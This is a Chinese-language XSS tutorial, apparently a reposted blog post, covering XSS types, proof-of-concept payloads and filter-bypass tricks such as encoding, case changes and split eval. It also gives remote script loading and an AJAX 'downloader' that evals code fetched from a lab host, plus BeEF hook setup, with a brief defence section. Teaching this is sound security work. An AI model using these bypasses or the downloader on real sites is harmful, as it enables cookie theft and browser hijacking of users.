XSS漏洞概述及使用

XSS 漏洞概述


简介

XSS作为OWASP TOP 10 之一
XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,
所以更名为XSS。XSS(跨站脚本攻击) 主要基于javascript (JS) 完成恶意的攻击行为。
JS可以非常灵活的操作html,css和浏览器,这使得XSS攻击的"想象"空间特别大。
    XSS通过将精心构造的代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。
    当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来,用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。
    用户最简单的动作就是使用浏览器上网,并且浏览器中有javascrit解释器,可以解析javascript,
    然而浏览器不会判断代码是否恶意。也就是说,XSS的对象是用户和浏览器。
   XSS漏洞发生在哪里?
    服务器
   
    微博、留言板、聊天室等等收集用户输入的地方都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS

XSS危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种
@   盗取各种用户账号
@   窃取用户Cookie资料,冒充用户身份进入网站
@   劫持用户回话,执行任意操作
@   刷流量,执行弹窗广告
@   传播蠕虫病毒
......

XSS漏洞的验证

我们可以用一段简单的代码,验证和检测漏洞存在,这样的代码叫做PoC(Proof of Concept)
P0C         漏洞的验证与检测
EXP         漏洞的完整利用工具
shellcode   利用漏洞时,所执行的代码
payload     攻击载荷
            sqlmap                  攻击代码的模板
            msf                     shellcode类似,功能是建立与目标的连接
验证XSS漏洞存在的PoC 如下:

<script>alert(/xss/)</script>                   弹框(常用)

    <script>confirm('xss')</script>             弹确认框

        <script>prompt('xss')</script>          弹输入框


我们可以在测试页面中提交这样的代码
[<script>alert(/xss/)</script>]
点击提交按钮就能看到弹窗操作

点击确定,邮件查看网页源代码如下:

我们发现,提交的代码
[<script>alert(/xss/)</script>]

被当做字符串输出在HTML页面中,浏览器会根据
[<script>]

标签识别为JS
语句并且执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性

XSS的分类

XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM型XSS

反射型XSS

反射型XSS是非持久性、参数型的跨站脚本
反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框的反射型XSS
在搜索框中,提交
PoC[<script>alert(/xss/)</script>]
点击搜索,即可出发反射型XSS
注意到,我们提交的poc会出现在search.php页面中的keywords参数中

存储型XSS

存储型XSS是持久性跨站脚本
持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中
存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写入数据库中。


此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS代码,JS代码的运行环境是浏览器
所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS
此时需要我们模拟网站后台管理员的身份,查看留言

DOM XSS

DOM XSS比较特殊。owasp关于DOM型号XSS的定义是基于DOM的XSS是一种XSS攻击
其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的
其特殊的地方就是payload比较难以检测
如下面的例子:
[#message=<script>alert(/xss/)</script>]

我们以描点的方式提交PoC
PoC并不会发送给服务器,但是已经触发了XSS
查看提交参数后的HTML页面(DOM树),会形成鲜明的对比

XSS的构造

利用[<>]构造HTML/JS
可以利用[<>]构造HTML标签和</script>标签
在测试页面提交参数
[<h1 style='color:red'>利用[<>]构造HTML/JS</h1>]

提交[<script>alert(/xss/)</script>]

伪协议

也可以使用javascript:伪协议的方式构造XSS
[javascript:alert(/xss/);]
提交参数[<a href="javascript:alert(/xss/)">touch me!</a>]
然后点击超链接,即可触发XSS

也可以使用img标签的伪协议,但是这种方法在IE6下测试成功
[<imgsrc="javascript:alert('xss')">]

产生自己的事件

"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入...)
JS可以对这些事件进行响应,所以我们可以通过事件触发JS函数,触发XSS
事件种类
windows事件         对windows对象触发的事件
Form事件            HTML表单内的动作触发事件
keyboard事件        键盘按键
Mouse事件           由鼠标或类似用户动作触发的事件
Media事件           由多媒体触发的事件

如:[<img src='./smile.jpg' onmouseover='alert(/xss/)'>]
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码

单行文本框的键盘点击事件
[<input type="text"onkeydown="alert(/xss/)">]
<input type="text"onkeyup="alert(/xss/)">
<input type="button"onclick="alert(/xss/)">
<img src='#'onerror='alert(/xss/)'>
当点击键盘任意一个按键的时候触发

利用CSS跨站(old)

我们也可以利用CSS(层叠样式脚本)触发XSS
但是这种方法比较古老,基本上不适合现在主流的浏览器
但是从学习的角度,我们需要了解这种类型的XSS

@   行内样式
[<div style="background-image:url(javascript:alert(/xss/))">]
@   页内样式
[<style>Body{background-image:url(javascript:alert(/xss/))}</style>]
@   外部样式
[<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello</div>]

xss.css文件内容如下

h1 {
   color:red;
}
div {
  /*width:expression(alert(/xss/))*/
   background-image:url(javascript:alert(/xss/))
}

@   expression
[<div style="width:expression(alert(/xss/))">]

[<style>Body{background-image:expression(alert(/xss/));}</style>]

@import
[<style>@import 'javascript:alert("xss")';</style><div>AJEST</div>]

其他标签以及手法

我们也可以用其他标签触发XSS

[<svg onload="alert(/xss/)">]这个语句还是比较简洁的

[<input onfoucus=alert(/xss/) autofocus>]

XSS的变形

我们可以构造的XSS代码进行各种变形,以绕过XSS过滤器的检测,变形方式主要有以下几种:

大小写转换

可以将payload进行大小写转化,如:

<Img sRc='#' Onerror="alert(/xss/)" />

<a hREF="javaScript:alert(/xss/)">click me</a>

引号的使用

HTML语言中对引号的使用不敏感,但是某些过滤函数是非常必要
<img src='#' onerror="alert(/xss/)"/>

<img src='#' onerror='alert(/xss/)'/>

<img src=# onerror=alert(/xss/) />

[/]代替空格

可以使用左斜线代替空格

<Img/sRc='#'/Onerror='alert(/xss/)' />

回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键词检测

<Img/sRc='#'/Onerror ='alert(/xss/)' />

<A hREF="j

avascript:alert(/xss/)">click me!</a>

字母 ASCII码 十进制编码 十六进制编码

a       97        &#97;          &#x61;
e       101       &#101;         &#x65;

经过简单编码之后的样子
<A hREF="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

另外,我们可以将以下字符到任意位置
Tab     &#9
换行    &#10
回车    &#13

可以将以下字符插入到头部位置
SOH     &#01
STX     &#02

经过编码后的样子
<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>

拆分跨站

<script>z='alert'</script>

<script>z=z+'(/xss/)'</script>

<script>eval(z)</script>

CSS中的变形

@   使用全角字符
width:e x p r e s s i o n (alert(/xss/))

@   注释会被浏览器忽略
width:expr/*~*/ession(alert(/x~s~s/))

@   样式表中的[\]和[\0]

双写绕过

<script>
<scr<script>ipt>

CSS中的变形

@   使用全角字符
width:e x p r e s s i o n(alert(/xss/))

@   注释会被浏览器忽略
width:expr/*~*/ession(alert(/xss/))

@   样式表中的[\]和[\0]
<style>@import 'javasc\ri\0pt:alert("xss")';</style>

Shellcode的调用

Shellcode就是在利用漏洞所执行的代码
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode

远程调用JS

可以将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本,如:
[<script src="http://172.16.132.138/XSS-TEST/normal/xss.js"></script>]
这是比较常用的方式

XSS.js的内容如下:

alert('xss.js');

windows.location.hash

我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码

windows.location.hash会获取URL中#
后面的内容,例如[http:domain.com/index.php#AJEST],windows.location.hash的值就[#AJEST]

所以我们可以构造如下代码:
[?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/This is windows.location.hash/)],直接提交到测试页面xss.php

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码

在使用XXS Downloader之前需要一个我们自己的页面,xss_downloader.php
内容如下:

~~~~BOF|alert(/xss)|EOF~~~~~~~~~~~~~

常见的下载器如下

<script>
function XSS(){
    if (window.XMLHttpRequest) {
        a = new XMLHttpRequest();
    } else if (window.ActiveXobject) {
        a = new ActiveXobject("Microsoft.XMLHTTP");
    } else {return;}
    a.open('get','http://172.16.132.138/XSS-TEST/normal/xss_downloader.php',false);
    a.send();
    b=a.responseText;
    eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS();
</script>

AJAX

技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容

<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Headers: Origin, X-Requested-With,Content-Type, Accept');

备选存储技术

我们可以吧Shellcode存储在客户端的本地域中,比如:
HTTP Cookie、Flash共享对象、UserData、loaclStorage等

XSS 通关挑战

简介

XSS通关挑战是一个练习XSS绕过和展示各种XSS场景的靶机环境

题解

用我们讲过的内容可以过大部分关卡,XSS挑战网址

XSS通关挑战

XSS的防御

使用XSS Filter
XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果
@   输入过滤
"永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤再过滤
.   输入验证

简单的说,输入验证就是对用户提价的信息进行有效验证
仅接受指定长度范围内的,采用适当格式的内容提交
阻止或者忽略除此之外的其他任何数据

输入是否仅包含合法的字符
输入字符串是否超过最大长度限制
输入如果为数字,数字是否在指定的范围
输入是否符合特殊的格式要求,如E-mail地址、IP地址等

.   数据消毒
过滤和净化掉有害的输入

@   输出编码
HTML编码主要是用对应的HTML实体替代字符

@   黑白名单
不管值采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤

黑名单,非允许数据
白名单,允许的数据

防御DOM-XSS

避免客户端文档重写、重定向或其他敏感操作

beef
    XSS     神器
    XSS     漏洞的利用平台
beef    的启动
    kali 中
    工具目录        /usr/share/beef-xss
    配置文件        config.yaml
启动beef工具的方法
        beef-xss
        /usr/share/beef-xss/beef
修改默认用户名和密码
Web界面管理控制台
    http://172.16.132.128:3000/ui/panel
Shellcode
    http://172.16.132.128:3000/hook.js
测试页面
    http://172.16.132.128:3000/demos/butcher/index.html

1.浏览器劫持

2.Cookie窃取与欺骗–固定会话攻击

data: cookie=username=admin;    userid=1

document.cookie="username=admin";
document.cookie="userid=1";

3.利用浏览器漏洞getshell

msf
ms10002     XP
ms12063

4.XSS平台

XSS盲打

猜你喜欢

转载自blog.csdn.net/m0_54377930/article/details/113028200